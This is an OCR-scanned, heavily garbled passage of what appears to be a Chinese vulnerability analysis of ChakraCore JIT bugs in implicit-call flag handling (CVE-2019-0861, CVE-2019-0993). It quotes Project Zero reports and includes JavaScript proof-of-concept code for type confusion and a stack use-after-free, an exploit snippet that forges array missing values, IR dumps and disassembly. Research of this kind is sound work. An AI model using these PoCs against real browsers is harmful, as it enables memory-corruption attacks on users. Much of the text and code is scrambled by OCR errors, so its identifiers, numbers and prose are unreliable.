putvalue = value; B TB1ESTaCKETAMEZ0P CARCOIOH J5:OpLAVOUTYTATPECPTON| 6 < KOpL3yOuTT CaIWIICIdEx . o
mez(f_Pra fileCatC ommon <) s-Calayaul C. (22
/ COMSIDER! Mave réguestContex? everywhere, even ln the setProperty related codepa e i i L E Sek
= if (requestComtext) ProxessPrafilac(s Line &7 Cos
/ Process() Line 3355 Ces
: mecitemnetertatnen kSoriptFunction * function, IszArgumentReader sgs, void * . e+
putvalue = Crosssite:iMarshalvar(ronu n A i H O rprederitackF ramesinterpretarThunkiks avascrpiCal Stacklayout * layout) Line 1731 [
ir aiskunchan(] Line i
var thisvar = RootTeThistbject{obiect, scriptlontext); T F FecyclableCjed * k. £+
memis args, bSerigCa.., Cee
* marshalledFunction = functiong ey
e Ces
p 4 e
{ =
marshalledFunction = Azcyclablenbiect ; iunsafefromvar{Crosssite;iMarshalvar(requ (ConextAPWapper_I2s IsEr. Cet
D=TTCIsRTA ot et AutaRecard... =
i 5 ned _inti o, LoadScratlag foad
war result = CA TRYPOINT{ threadContext, marshalledFunction-»GetEnteyPolnt(), u | igned G4 surc woid * saurcelr, |na ¥

Assertiresult);

t implicit call flags so w 1out if we're trying to propagate the stored v

roduce the s
IContext->hddImplicite

licittall Accessor); =
*) mroceckre, yoad * coRet cantesd) Line 82 Coe
(%

return aullpte; DN vi * Cient parameten Line 115

PR print B9 579 1 F undefined, FEFRHEA,

B TRUERIREASR js 018, ETRMBEDTUENETIELL js IBMIE/AREN PoC T,

*xF T FRIZAEIENGE, Chakra 2i8id ImplicitCallFlags HLHEIZMERY, —RRIER T :

1. JIT fNEB&1RHE Opcode 2 & FEMIAEBIERYIE A A BailOutOnlmplicitCallsPreOp 3% & BailOu-
tOnImplicitCalls $3§<
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2. runtime fA381d ExecuteImplicitCall 1/ F3 [B]3F BR %4, ExecutelmphcltCall RNEN=EE R ENEEE

ELTFTE Side Effect, MIRZEMBENTEIERE (REFIFRELFERHNNVREERLSERE
L, BpIEM LIB5HMEE, T CVE-2018-0860) ; %12 DisablelmplicitCallFlags=1 MIAH,4T @137 &
¥, EIZR[E Undefined; BNFEEIEREETIZE ImplicitCallFlags, HiEREIERE., XHFEL

E 1T B AR AT LARIE 48 E ImplicitCallFlags %m&ﬂgaﬁzﬂ@um%éﬁﬂmzﬁ@ﬁT . (BIRER
BSNEID 1)

B4, objx =1 MNAYIRIETRF StFId &4 A BailOutOnImplicitCalls $§<, HE 1);

HR, JavascrlptOperators :CallSetter [B]1f =2 181T ExecutelmplicitCall Y, JHE 2).

Ith, XEARFAEIL obj.__defineSetter__(“x”, (=>{}); ¥ 1& — 1 fil 45 [E] 8 SR AZ 28 IIT Y
BB R, BEA N4 %NT B JavascriptOperators::CallSetter [2]3fF p& £ iR [5] i il threadContext-
>AddImplicitCallFlags(ImplicitCall_Accessor); 58l JIT bailout E? 2 & fFEA BT [BEH =] LAR& 1T
IRV EIE?

?Jzﬂ]i)u%%”_ﬂﬁ js SRS AAY Globopt f5HY IR:

;lllllllllll 111 IR after GlobOpt (Fullgic) sessswscesss

S Function opt ( (#1.1), #2) Tostr Gowntils
FunctionEntry #

BLOCK 0: Out(l)

s P

53<59>[LikelyCanBeTaggedValue Object].var = ArgIn A prm2<40>[LikelyCanBeTaggedValue Object].var! #

Line 3: obj.x = 1;
Col 2: "
StatementBoundary #0 #0000
BallOnNotOb]ect 53<s9>[LikelyCanBeTaggedValue_( Ob]ect] var #0000 Bailout: #0000 (BailOutOnTaggedValye)
38 (33<59>[LikelyObject]—>x)<?, 59,510>[CanBeTaggedvalue Int].var = StFld 0x1000000000001.var #0000 Bailout: #0004 lBallO utonTmplicitCalls)

Line 4: var tmp = obj.x;

Col 2: "
StatementBoundary #1 #0004
Line 5: return tmp;
Col 2: ~
StatementBoundary #2 #000b
Line  6: }
Col 1: »
StatementBoundary #3 #0013
StatementBoundar #-1 #0013
Ret 0x1000000000001.var | #0013
38 BLOCK 1: In(0)
40 5L2: #
FunctionExit #

:; print(ret)
XEBHAEZ StFId #SE4 L T BailOutOnImplicitCalls, [ERS & MIET) var tmp = obj.x; return tmp;

WAL T

Ret 0x1000000000001.var

HWHIEIE T IA R objx B— 1R E, BFENMEREEREBNAKTREEE 1.

FKATENIE obj.__defineSetter__(“x”, )=>{}); {5 obj.x = undefined, JIT 7 Ret 0x1000000000001.var
BIEDEIAEEL O=>{) M bailout £ Interpreter, MTIIR[E] T undefined FYIEFHE,

ABLAMRIERN T, NOAZFEXFE—TMEEIRG R TR StFld $8% bailout FHAMIER T, BIWIE
28 _ defineSetter__ X & obj.x = undefined, [B]F| JIT [FEA ImplicitCallFlags ;%A & ExecuteImplicitCall
{ZEX M A S bailout E Interpreter, E=#ZIR[E] obj.x FIEHIR{E 1.

W ER ExecutelmplicitCall B9SCH] -
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template <class Fn»
= inline 1s::var ExecuteImplicitcall(ls::r

{

yclableobject ® function, 2s::ImplicitcallFlags flags, Fn implicitcall})
autoResntrancydandler autoReentrancyHandler(this);

3s:iFunctionInfo!:Attributes attributes = Js!:FunctionInfo: :GetAttributes(function);

= {/ we can holst out const method If we know The function doesn't have side effect,
: // and the value can be hoisted.

- if (this-sHasnosideeffect (functlon, attributes))

\

= [/ Has no side effect means the function does not change global value or

/¢ will check for implicit call flags

icitCalld);

Is:iVar result =

= /4 If the value is on stack we need to bailout so that it can be boxed.

// Instead of putting this in valueof (or other builtins which have no side effect) adding
{/ the check here to cover any other scenario we might miss.

E if (IsonStack({result))

AddTImplicitcallFlags(flapgc);

}

return pesults

-

// Don't call the implicit call if disable implicit call
£ if (IspisableImplicitcall())

1652 = if ((attributes & JIs::FunctionInfo::HasnosideEffect) 1= @) [ ... 1|

{/ save and resta
5 struct Restorer

implicit flags around the implicit call

Restorerl restoreFlags(this, flags);
return Implicitcall();

pg

HopJEFZEE: HOEERECRE Side Effect, FBRREEAH,R L, MASIRE Implicit-
CallFlags, EILIXEE obj._ defineSetter_ (“x”, O=>{}); BIEIERE O=>{} B NXE Side Effect £
PRER, FE] A& ZIAERCASIRAZ. H Project Zero #0F case B&:
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Issue 1437: Microsoft Edge: Chakra: JIT: Escape analysis bug #2
Reported by lokihardt@acogle.com on Wed, Nov 22, 2017, 12:14 PM GMT+8 TGRS

AddimplicitCaliFlags(flags);
/f Return "undefined” just so we have a valid var, in case subseguent instructions are executed
/f before we bail out,
return function-» GetScriptContext()- = Getlibrary(}-» GetUndefined();
t

if ({attributes & Js:FunctioninfozHasNoSideEffect) 1= 0}

[
/1 Has no side effect means the function does not change global value or
# will check for implicit call flags
return implicitCall{);

i

// Save and restore implicit flags around the implicit call

JszimplicitCallFlags savelmplicitCallFlags = this-=GetlmplicitCallFlags();
Jszvar result = implicitCall(;

this-=SetimplicitCallFlags((JszimplicitCallFlags) (savelmplicitCallFlags | flags));
return result;

)
As you can see above, it checks if the DisablelmplicitCallFlag flag is set using IsDisablelmplicitCall, if it is. just returms undefined and bailouts.

The reason that the flag was set in the example code was because of the "arr™ variable was allocated in the staclk. It was preventing the object from leaking
through implicit calls.

However, if the function has no side effect, the function gets called regardless of the flag. One such function that is marked as HasNoSideEffect, but we can
abuse is the Object.prototypevalueOf method. This method returns "this” itself. So if we use this method as the getter, it will return the array object
allocated in the stack.

PoC:
function optd {
let arr = [I;

return arr['x’];
1

function main() {
let arr = [1.7, 2.2, 3.3};
for (leti=0;1 < 0x10000; i++) {
opt(:
!

Array.prototype, defineGetter_ (%', Object prototypevalueOf); ‘

printlopt());
]

main();

EEERIE =R js AAZA0 T :

function opt (obj){
obj.x = 1;

var tmp = obj.x;
return tmp;

let obj {}:
let ret = opt(obj):
print (ret) :

_
E O WO =] gy o N
—

12 obj. defineSetter ('x',|Object.prototype.valu=0L);
13 ret = opt (obj)

14 print (ret) ;

15

BRHAT PoC, MINEE T JIT FR BailOutOnlmplicitCalls FHQZ, [EiEIREFAHLEEHR T IIT /3,
AIAE B ZE XA print(ret) FIRAEE TEYE | (IEF{EDY undefined) :
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11

2

3 REARERRKRAKR IR after GlobOpt (FullJit) ***##xsskxx

4

5 Function opt ( (#1.1), #2) Instr Count:13

6

7 FunctionEntry #
9 BLOCK 0: Out(1)

10

11 SL3: #
12 53<s9>[LikelyCanBeTaggedValue_Object].var = ArgIn A prm2<40>[LikelyCanBeTaggedValue Object].var! #
13

14

15 Line 3: obj.x = 1;

16 Col 2:

17 StatementBoundary #0 #0000

18 BailOnNotObject s53<s9>[LikelyCanBeTaggedValue_Object].var #0000 Bailout: #0000 (BailCutOnTaggedValue)

19 58 (33<s9>[LikelyObject]->x)<?,,--,59,510>[CanBeTaggedValue_Int].var = StFld 0x1000000000001.var #0000 Bailout: #0004 (BailOutOnImplicitCalls)

22 Line 4: var tmp = obj.x;
23 Col 2:
24 StatementBoundary #1 #0004

27 Line 5: return tmp;
28 Col 2:
29 StatementBoundary #2 #000b

32 Line 6: }
33 Col 1: ~

34 StatementBoundary #3 #0013
35 StatementBoundary #-1 #0013
36 Ret 0x1000000000001.var #0013
37

38 BLOCK 1: In(0)

39

40 SL2: #

41 FunctionExit #

42 print (ret) error!

43

EXBERATMAAINEL TR RER PoC 7., ETREBEZRWNEAFAXDIFE.

7.3 0x2 Exploit

X R HATRT R FRIRBEI— IIT HIFSEIRA0ME, FBALARIAIE? 8 SOmyMyBad SRR
Bk

function opt(index) {
var tmp = new String("aa");

for (let useless in tmp) {
if (once) {
delete tmp.x;

once = 8;

tmp.y = index;
3

Ireturn [1, tmp.x - 524286]; // forge missing value @xf

for (let i = @; i < ©x1000; i++) {
opt(1);

evil = opt(@);
evil[8] = 1.1;

e g NativeFlogtArrav with g miccing valie but the engine does hoE

fEEX PoC 21T, BB IFEREItEIRAI{E 0:
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2 Hfunction opt (obj){
3 obj.x = 1;
4 H if(flag){
5 ocbj.x = 2;
6 | }
7 var tmp = obj.x;
8 return tmp - O;
9 L}
10
11 let flag = false;
12
13 let obj = {}:;
14 let ret = opt(ocbhj):;
15 print(ret) ;
17 obj. defineSetter ('z', Object.prototype.valueOf):;
18 ret = opt(obj);
19 print (ret);
20

Hl,ﬁ]s KB, RiER, 3 /R ret (B¥TENN NaN, FHIME LA js A3 LAY Globopt FHIERD IR:

Line 7: var tmp = obj.x;
Col 2:
StatementBoundary #3 #0012
512 [CanBeTaggedValue Int].var = LdFld s10(s5<s13>[LikelyObject]->x)<0,m,++,s13!,s14, {x(0)}>[CanBeTaggedValue Int].var! #0012 Bailout: #0012
[BailoutonImplicitCallspreOp) |

Line 8: return tmp - 0;
Col 2: 7~
StatementBoundary #4 #0019
520(s12).i32 = FromVar sl2[CanBeTaggedValue_Int].var! #0019
521 (s0).132 = Sub_T4 520(s12).i32!, 0 (0x0).i32 #0019
Line 9: }
Col 1:
StatementBoundary #5 #0022
StatementBoundary #-1 #0022
s0[CanBeTaggedValue_Int].var = ToVar s21(s0).i32! #0022
Ret s0[CanBeTaggedValue_Int].var! #0022
5 BLOCK 3: In(2)
SL3: #
FunctionExit #

XEEE! return tmp - 0; £ A% IR PTE tmp MRS5S 2 CanBeTaggedValue_Int, tmp -0 XFRHY
BRIERT A Sub_l4, IREIFE sO XN EIRFS15 EthE CanBeTaggedValue_Int, FEILL JIT f5ERER opt 1R [E]
BRIZE—TEE (FromVar j%B Bailout), BEE&EH L TIFEF NaN, REFRAEE JIT return A
53, 7ERIEM Bailout T, MERBIERM IR, &I LdFld Z7E BailOutOnImplicitCallsPreOp $§< 01
FAMZARENR, BUEEXE bailout, BT EIRIGIERM:

Bepea1cy 291463bb adsbce mov re, ria

HEEeE1CT 291463be cEB301 mow byte ptr [rbx], 1

feEea1c7 891483l ceBlalfeffffol Mo byte ptr [rbx-15Eh], 1

000001CT 891403c8 (7442420f0020000 mov dword ptr [rsp+20h], 2Feh

B00ea1c7 #91403de 41bsolefposs mow rad, 1

200091c7 891403d6 48baS0bese87C7010008 mov rdx, 1C7875EBES@h

B00601c7 89146308 48b0ePe16e80C 7016000 mov rox, 1C7899E@1Eeh

BPEea1c7 8914683ea 48b8cebfa260fc7fEO00 mov rax, foset|thakracoreIJ5::iavascriptﬂoerators::Patthﬁetvalueli Js::InlineCacher (eeee7ffc 6942bfce)
Ge0ee1c7 891463F4 48ffdo call rax

BeRea1c7 8914637 A88bfe mow rsi, rax

aeeealcy 291483fa ces3azfeffffoa mowv byte ptr [rbx-15eh], @

Be86E1c7 59140401 883001 cmp byte ptr [rbx], 1 de:eeenelic7 29182088 E

BepEeE1CT 80148484 AFRASTFAFFFf je BEEEe1CT 20148191

200ealc7 89148402 48boen32ffEEC7@16008 mov rcx, 1C78sFF3206h

APRea1CT 89140414 48bs60Bde166TC7TEODR mov rax, offset {hdkracm-e!|_j_uearsi:anr-1[l:isauenlIRegister‘sAmlBajiOuL |(%%?ffn'65918d68)

200001c7 8914841e 48ffdo call rax i

AIIAEZ, XEBIF 2% LdFld /5, ImplicitCallFlags = ImplicitCall_Accessor (0x5) MfI&4 7 bailout,
FE U FATFEME N js 088, ik LdFld BlEF 4 bailout,
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A7 ZHi StFId &2, LdFId 853 ImplicitCallFlags 5 EMES S8 T ., WERE| Javascrip-
tOperators :CallGetter El’] @EﬁﬁEﬁ SR 51 A0 ImplicitCallFlags:

var lavascriptOperators::CallGetter(RecyclableObject ® const function, Var const object, ScriptContext * requestContext)
{
—#if ENABLE TTD
if{function->GetScriptContext()->ShouldSuppressGetterInvocationForDebuggerEvaluation())
{
return requestContext->aetiibrary()-»Getundefined();
1

tcontext * scriptContext - function->GetScriptcontext();
ThreadContext ® threadContext = scriptContext->»@etThreadContext();
- return threadContext->ExecuteImplicitCall{function, ImplicitCall Accessor, [=]() -> Je:ivar
= { {/f stack object should have a pre-op bail on implicit call. We shouldn't see them here.
{f stack numbers are ok, as we will call ToObject to wrap it in a number object anyway
ff see Javasrrl[rl\‘)p?r'.,lor iGetThisHelper

== Typelds_Integer ||
i = Typelds_Number ||
thread(ontert— HasHoSideEffect(function) ||

IThreadContext: s Isonstack{objes )),

Jf verify that the scriptcontext is alive before firing getter/setter
if (IscriptContext-»Verifyflive(!function-»IsExternal(), requestlontext))
P

return nullpte;

% flags = CallFlags value;

var thisVar = RootToThisObject(object, scriptContext);

legbject™ marshalledFunction = Recycl

:Marshalvar(requestiontext, funct

Objects ;UnsafeFromvar(
scriptContext)):

var result = CALL Er.l'lFlYPOlNT(thr'eadcontext marshalledrFunction-sGetentryPoint(), function, callinfo{flags, 1), thisvar);
result = Crosssitei:Marshalvar(requestcontext, result);

return result;

b

}

B ISR PoC 1T

2 Hfunection opt (obj) {
3 obj.x = 1;
4 H if(flag) {
5 ocbj.x = 2;
6 }
1 var tmp = obj.x;
8 return tmp - O;
.}
10
11 let flag = false;
12
13 let obj = {}:
14 let ret = opt(obj);
15 print(ret) ;
16
' obj. defineSetter ('x', Object.prototype.valueOf);

s
]

obj. defineGetter ('x', Object.prototype.valueOf); |

oo

19 ret = opt(obj):;
20 print(ret) ;
21

XE LdFld /5 bailout, #H JIT 1@ Js::JavascriptMath:: ToInt32 4§ Object.prototype.valueOf IR [5]
fY this ¥85t (obj) 3%RIRAL 0, MTSEIEEIRAT obj.x =0,
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Disassairiily - 7R
o 01085 0
B Foflow w0007 FICEA02a200. rhx-0E0a0zafa1bF208E rtil

ot s Pl P el o Sl | rdw-800082afolbfoedd roi-Re000EnTo3Edalcd rdi-BRE0rT T CaalasE08
Rapaniat o1 ienian joe  paBRGZAT 01 F Faig-v F:
AeaaRzaT aldiac L9EHAG16 oy rag, qeord ptr [ridean] r:wm&:rgig?jzﬁ EH Poin e
aetaf S109Eby anfhvanLr wovzk ok, werd pie [roxsdzk] Fir sacfdsbd r1 i3
Banzais a10eaibn AREhIACE [ Fi, quord pte [raxsrcxts] P —— rumnz::? ﬁba?oe
aeeaalaf Sl0wEk eadafiffff Jmp PeeRazat vlduales Sopl-o we i &1 re nz
Cochnlal’ il e m— el Coond3 saeoizh dipih pelodh Fieo0s3 gs-odzh ef L-pae0a
Agiiiat Sl0sH3cl c6esal byte pre [rbx], 1 BopDazaF 91050440 48 Ffde tall  rax {chakracorelas: Ja\-ammtnaih TalAtiz (sueerifosudzs

Beslat 9l0seicd chEzadfefFifal byte pte [rhi-15Eh], 1

o
: Loned Bip8d> 1n pol(eoopezl;
feee8zat 91d9ich c7442428f0820000 oy dword ptr [rspedeh], 2Fah
now d,
now

Cdzaca); 0y oogoalbydsedaace
6800B1af 91498343 41b3310ABA0

Opodzat 91099309 4BbaSeheb8d Lateroees

FR0eaE Sldee, MMM LIRS v (2K 2N i chakracona| 15: : DynanicObects s yFtabla” | (REENTERC Ba0Gcuel)  chakracorel
280082af” 91d983ed 28bacobFfa269FcTFOEOD mov raK, :ff!!‘ chakracore!s: Jaus(r:ptupm—ators::Pal:chrﬁek\‘a!uul. Js:1l N
aaeaazaf aldeeafy saffde call rax

s :Dynamicobject:: uFtable” - cfuncticns *[106]

oeoapal 910M03fa LBEDFR oy rsi, rax ,_,..,-. opearffc HamIcean aReARIhT a3Edfhon
opaiieal oldbaifd <<’ps\a2Fefr fou L byte ptr [ehe-1560], @ ROGIEDT QI6da0eD MHNIBO0D HGOGND
B800nlal S1dea4as Se3ba g byte pir [rbx], 1 EpeahT 93§aam @REREEDT SI60IBCR HRDEIDT 916CIhoR
ase0azal aldsedar O'fw'-'“l'r f e poppnzaf’ dldaalss Beeeazhy 03kdaBfa  GUGIEEEE” DEOOROAE JDOADORE GBOAEDID

apeaaial’ alddidad L8bA1A3A5L0IDTEI0ME mow rox,; 2BTOISEIALGh . Beeeazhy 03Edalod OUELEGEN G0GJB091 0BGO0ILT  93sdeden
aeapzal 910817 sAbesoalelnafcT foom moy rax, offset chakracorelLinearscanto: : savenl 1eelstersandsallovt (eoea; 0eaIh7 Sbdaiid  AROHRO0E BIGDIMI0 SN

b OO0
eaooozaf Siloeazl saffde. call  rax BREGIZLT" IFdI120  ORELGG0N DONGBIIZ 0B0ETNT 96dEdcd
aeedRzaf S109842q COEEFOFFFF g pappazat” s1dsa1la BOE0aIhT D3Edall0  GOGOREGD DROOCODE ABOOCOAD GREOCOND
AReaRzat 91dwdF BB oy rex, rsi B10045 p
ABOARIAT 91H0R4Ir AHEARCAhTITafRIBeE may roi, 24501 BFCRARH Wza"") S0a43 Ebds mov i
BERLAT 91090436 SabadRaizREf T Foeon oD f‘éﬁx. offset chakracorelds:: Tavas Cr i (TRATh (NOINCIT Joaear o ehdalde] r b
BadaRLat =lio64m A8 FF call _rai of | Fax D860 |rii-0e0aetafa1bF 2088 Foa-0eeeTTfcoa21a248
BeAaRiaf AldeadAT e z = mmrw:fd{u raisEenanEhTII0danca rdx-am?ff:oaunwn
0apAA1aT 9100445 o

e ﬁhms
mp Bageazaf 0

ri 91098443 rop Tt Faidd
aeenlat 91090448s £0bAMBCALFIT AR m rolK, BAFA1EFC ns u TB-0eRPRR7SRC e MO-0RRGTFFC53310148 un-neawmmeem
AR00 LT 81099450 ABC7CLHNLC M rex, 1020h FIIIMARAINRINNZAG 1] I=HRORRI T INAIEN 11I=RPeRE2lTII0aS00N
aso0azat’ o1d984sh mbsmeso:a')rr?ﬂam nov rax, offset chakracorelThroadContext::ProbeCurrantstack |{eose7fc” eoat fiigeeas i
oeeanlaf aldoases saffon g rax Sool-b mv un ei ol nx na oe Ac

%E%ﬁﬂﬁﬁ%iiﬁ’{l Obj.X: 0 *@E_ﬁ\ﬁ?’f MiSSing Value #Eﬁ HaSNOMiSSngValues *ﬁ/ﬁﬂ"]%ﬁiﬂ%
JR7ZSHY NativelntArray :

b

Hfunection opt(obj){
obj.x = 1;
=] if(flag) {
obj.x = 2,
}
var tmp_= obij.x:
return |[l, tmp - 524286];

o =] O N b= L)
T

B}
11 let flag = false;
13 let obj = {}:

14 let ret opt (obj) ;
15  print(ret);

17 obj. defineSetter ('x', Object.prototype.valu=0f)
18 obj. defineGetter ('x', Object.prototype.valueOf)
19 ret = opt(ohj):

20 print (ret) ;

il

il

1517 PoC, Debug RAY ch.exe BINfEA ASSERTION:

D:\workspace\ChakraCore\Build\VcBuild\bin\x64 debug (HEAD detached at b481337 -> origin)
[elliot]$ ch.exe -mic:1 -off:isimplejit -bgjit- C:\Users\elliot\Desktop\poc.js
1,-524285
IASSERTION 15348: (d:\workspacel\chakracore\lib\runtime\library\javascriptarray.inl, line 631) !(HasNoMiss
ingvalues() && nextSeg == head)
Failure: (!(HasMNoMissingValues() && nextSeg == head))
FATAL ERROR: ch.exe failed due to exception code coee@420

EENFAM A ASZE SOrryMyBad #F{{EE, J% NativelntArray 353239 NativeFloatArray Ex 22884
Array ROEREE,
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7.4 0x3 Thinking

EE%%TEIEE?%EEU%E'JE‘EE XTI TRETEMEBE TR, BEEBEAEATUEIHTHEIK

FIZE AR /= . 81T JavascriptOperators::CallSetter BJ%h T 1R B S B£38 2 JavascriptOperators::CallGetter

EEREFEEMNCEA, sJAEE] CVE-2019-0861 BI%h T FHIZBMEE JavascriptOperators::CallGetter B

#§, BRER ChakraCore BY commit A LAFRZIM T H/FHY CVE-2019-0993 %+ T 1EZ FIKIEE JavascriptOp-

erators::CallGetter PRI%X

CVE-2019-0993 Browse files

V¥ master (#6155 O vi1114 .. v1.11.10

5 pleath committed on 16 May 1 parent 9621438  commit 36644ee@ddcc2bc97a3cd49c354Rebeeald3182a
Showing 1 changed file with 4 additions and 0 deletions. Unified = Split

v 4 HEEE" lib/Runtime/Language/JlavascriptOperators.cpp E;

@@ -9655,6 +9655,10 @@ using namespace Js;
Var result = CALL_ENTRYPOINT(threadContext, marshalledFunction-»>GetEntryPoint(), function, Calllnfo(flags, 1), thisVar);

result = CrossSite::MarshalVar(requestContext, result);

// Set implicit call flags so we bail out if we're trying to propagate the value forward, e.g., from a compare. Subsequent calls
// to the getter may produce different results.

threadContext->AddImplicitCallFlags{ImplicitCall Accessor);

+ 4+ o+ o+

return result;

IO

4

LR IAE I E ] JavascriptOperators::CallGetter 4 FIEAY PoC,

HAIEEFEER E M IER CVE-2019-0861 PoC E it E 1N, & 7t E E T JavascriptOpera-
tors::CallSetter B9, & JIT M FEZE Bl JavascriptOperators::CallSetter — E &= bailout, [G]AJ £ obj
VIR RORHRBIZ B x EXR 1:

98



Py bagiin Chakra i&@8i4%EiC 5——CVE-2019-0861 §31

EHfunetion opt (ob]) {
fifah].x = L}

] 1f(flag){

; obj.x = 2;

}

var tmp = obj.x;

£ return tmp - 0O;

g Lj

=
[T}
LT

%
T

e

let flag = false;

S let obj = [x:1}:
4 let ret = opt(obj):
5 print (ret) ;

7 //obj. defineSetter ('x', Object.prototype.valueOf);
£ obj. defineGetter ('xz', Object.prototype.valueOf);

9 ret = opt{(obj):;

0 print(ret) ;

1B1T js X8, &AIZE 1 print(ret) 7 NaN, 5#BA JIT bailout T, WE Globopt M EX4ERAIES D IR

39
40
42
43

i
o G

e

MO WP O W m

=

[SNGRE NI WSS N S I RS S NS
o ™

Line 7: var tmp = obj.x:
Col 2: ~
StatementBoundary #2 #000e
BailOnNotObject s4<s12>[LikelyCanBeTaggedValue Object].var #000e Bailout: #000e (BailOutOnTaggedvValue)
sl1[LikelyCanBeTaggedValue Int].var = LdFld
510(s4<s512>[LikelyObject]->x)<0,m,++,512!,513, {x(0)=}>[LikelyCanBeTaggedvValue Int].var! #000e

Line 8: return tmp - 0:
Col 2: "

StatementBoundary #3 #0015
s18(s11).i32 = FromVar sll[ILikelyCanBeTaggedValueilntl.var! #0015 Bailout: #0015 )
519(s0).132 = Sub_I4 s18(s11).132!, 0 (0x0).i32 #0015

Line 9: }
Col 1: »

StatementBoundary #4 #001e

StatementBoundary #-1 #001e
s0[CanBeTaggedValue_Int].var = ToVar s19(s0).i32! #001e

Ret s0[CanBeTaggedValue_Int].var! #001e

KRILREL opt IR[EIA, tmp R S{EE LA T LikelyCanBeTaggedValue_Int, A& ZBIAY CanBe-
TaggedValue_Int, BEHEAN T —1 BailOutlntOnly FIAGE, @ IEIRIERR JIT IERTEXE bailout B, &
TEEX PoC, 1EXER tmp BT S1EE LR CanBeTaggedValue_Int, XLEX CVE-2019-0993 #h T Y

R

J// Set implicit call flags so we bail out if we're trying to propagate the value forward, e.g., from a compare. Subsequent calls

// to the getter may produce different results.
threadContext->AddImplicitCallFlags({ImplicitCall_Accessor);

RIEERE, XERHNEMBMN—TLEBGEE, 22 PoC 21T :
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2 Hfunction opt (obij){
3 [fobj:x = 1;
4 [ if(obj.x > 0){
A7) E if(flag){
G obj.x = 2;
7t }
8 var tmp = obj.x;
g return tmp - 0;
LN }
T return - ;

[

let flag = false;

let obj = {x:.};
let ret = opt(obj):
print (ret) ;

o i

//obj. defineSetter ('x', Object.prototype.valueOf);
obj. defineGetter ('x', Object.prototype.valueOf)
ret = opt(obj);

print (ret) ;

[ A S T i e B T o o RN s R T P O

s N T 5 T 0 T N I

NLE2 Globopt FrEXAERAIER D IR:

&
b

|.|

Line d: 1f[objy.x > O)
Col 2z 2
StatementBoundary $0 #0002
BailonNotdbjsct sb<alés|LikslyCanBeTaggedValue Chject].war #0002 Bailout: #0002 (BailOutOnTaggedValue)
a7 [LikelyCanBeTaggedvalus Int].var = LAFld s10(s5<s14>[LikelyChiject]->x)<d, m, ++, 314!, 315, {x(0)=]1>[LikelyCanBeTaggedvValue Int].var! #0002
=31(aT).i32 = EEgmyar 37 [LikelyCanBeTaggedialue Int].var! #0006 Bailout: #0006 (BailOutIntOnly)
Brle 14 5§13, a21is7).432!, O (0x0).133 #0006

24 BLOCK 1: In{{) Cut{2, 3}

§L7z #000e
29 Line B if(flag}{
30 Gol Jio2
1 StatemsntBoundary #1 #000=
3 siZ{LikelyCanBeTaggedvalue Boclean].var = LdRootFld sli{sl<slé>{0blect]-»flagl<l,m,++,s16!,317, {flag(l)j>[LikelyCanBaTaggedvalue Boolean]
3 ErFalse A 312, =12[LikelyCanBeTaggedValue Boolean].war! #0014
35 BLOCK 2: In{l) outid)
SLE: #0018
Line Gz obj.x = Z;
£1 Col 3
22 StatementBoundary +#2 #0018
£ 510 (88<=14> [LikelyCbject]->x)<?, ,——,=514, 215> [CanBeTaggedValue Int].var! = S5tFld Ox1000000000002.war #0012 Bailowut: #001c (BailCutOnTmplis
Br £1.2 #001e

L BLOCE 3; In{l, 2) OQut(5)

SLZ: #001c

Line B: var tmp = obj.xj
cel L
StatementBoundary $3 #001c
al3|CanBaTaggedValue Int].var = LdFld s10¢sB<alds [Likelycbject]-»x)<0,m, ++, 914!, 815, {x(0)=]>[CanBeTaggadvalue_Intl.var! #00le Bailout: 4

57 Line 9: return tmp - 0J
: Col Az

StatementBoundary #4 #0023

=222(=213) .132 = FromVar 213 [CanBeTaggedValue Int] .var! #0023

=23 (al).132 = Sub T4 222{513).432!, 0 (Dx0]).i32 #0023

. B L1 #0027

FILAEE, IRERY tmp-0 3% 7 bailout, {EZMAEREZRST if(obj.x > 0) A bailout,
XEFEWENHITREER:
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1. if(obj.x > 0) B obj.x fifi& _ defineGetter__ [A]if, R[E] >0 BUFEHN if P2, tbal 1
2. var tmp = obj.x; obj.x f#/& __ defineGetter__ [B]1f, IR[E] Undefined, /& RE
R __defineGetter__ B9BEIE1EREOREIEAR—, H Project Zero Z40F case JFA&

Issue 1709: Microsoft Edge: Chakra: JIT: JsBuiltinEnginelnterfaceExtensionObject::inject)sBuiltinLibraryCode just clears DisablelmplicitFlags
Reported by lokihardt@geogle.cam on Thu, Nov 1, 2018, 9:09 AM GMT~8

The JsBuiltinEnginelnterfaceExtensionObject:inject)sBuiltinLibraryCode method is used to execute JsBuiltingjs which initializes some builtin objects. Because
it's essentially written in JavaScript, it needs to clear the disable-implicit-call flag before calling the JavaScript code, otherwise it might not work properly.
The problem is, it doesn't restore the prevous status of the flag after the call. As setting the flag can prevent stack-allocated objects from leaking, this
clearing-the-flag bug can lead to a stack-based use-after-free,

To exploit this bug, it's needed to build a chain that first clears the flag by calling the vulnerable method and then leaks the stack-allocated object. This is
done with the Error prototype taString method (marked as having no side effects) which calls the "toString® method on the "name” property and the
‘message” property of the *this® object. So when it accesses the "name” property, it clears the flag and leaks the “this® object when it accesses the
‘message” property.

PacC:
function opt() {
let o = {}; // stack-allocated object
0. /f under with DisablelmplicitFlags set

function main() |
for (leti = 0; i < 10000; i++) |
optl);
!

let leaked stack object = null;

let object prototype = {{]). proto

ohject_prototype.defineGetter %', Error.prototype. tostring);

object_prototype._ defineGetter_ ('message’, function () {
delete object prototype.message;

leaked_stack_ohbject = this:

i

object_prototype.name = Array.prototype: // access to Array.prototype will call JsBuiltinEnginelnterfaceExtensionO bjectzinject)sBuiltinLibraryCode.
oph():

alert{leaked_stack ohject);

H

maini);

XEHRMNEEIH—AMEE: Runtime BI%HF Side Effect IR EIE—TRAFEEX R, XE
EHIZIFEAZ Array.prototype.toString, Array.prototype.toString IFBAITRE M Join:
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Var Javascriptarray::EntryToString{RecyclableObject® function, Calllnfo calllnfo, ...}

{

PROBE_STACK( function-»Getscriptcontext(), Js::Constants::MinstackbDefault);

ARGU"LHlS[args, calllnfo):
cr text* scriptContext = function-»>GetScriptContext();
1S_REENTRANCY_LOCK({jsReentlock, scriptContext-»GetThreadcontext());

Assert(!(callInfo.Flags & CallFlags Mew));
if (args.Info.Count == @) { ...

S4 ES5 15.4.4.2: call join, or built-in Object.prototype.toString

::Toobject{args[e], scriptcontext, &obi))[{ ... !

SETOBIECT_FOR_MUTATION(jsReentlock, obj);

g In ESS we could be calline a wser defined join, even on array. We must [[Get]] join at runtime.

1S_REENTRANT(jsReentLock, var join = 1 Operators: iGetPropertynoCache(obj, Pro
if (JavascriptConversion::Iscallable(join

{

b3

Recyclableobject® func = Recyclablefbject::Fromvar(join);
f{ We need to record implicit call
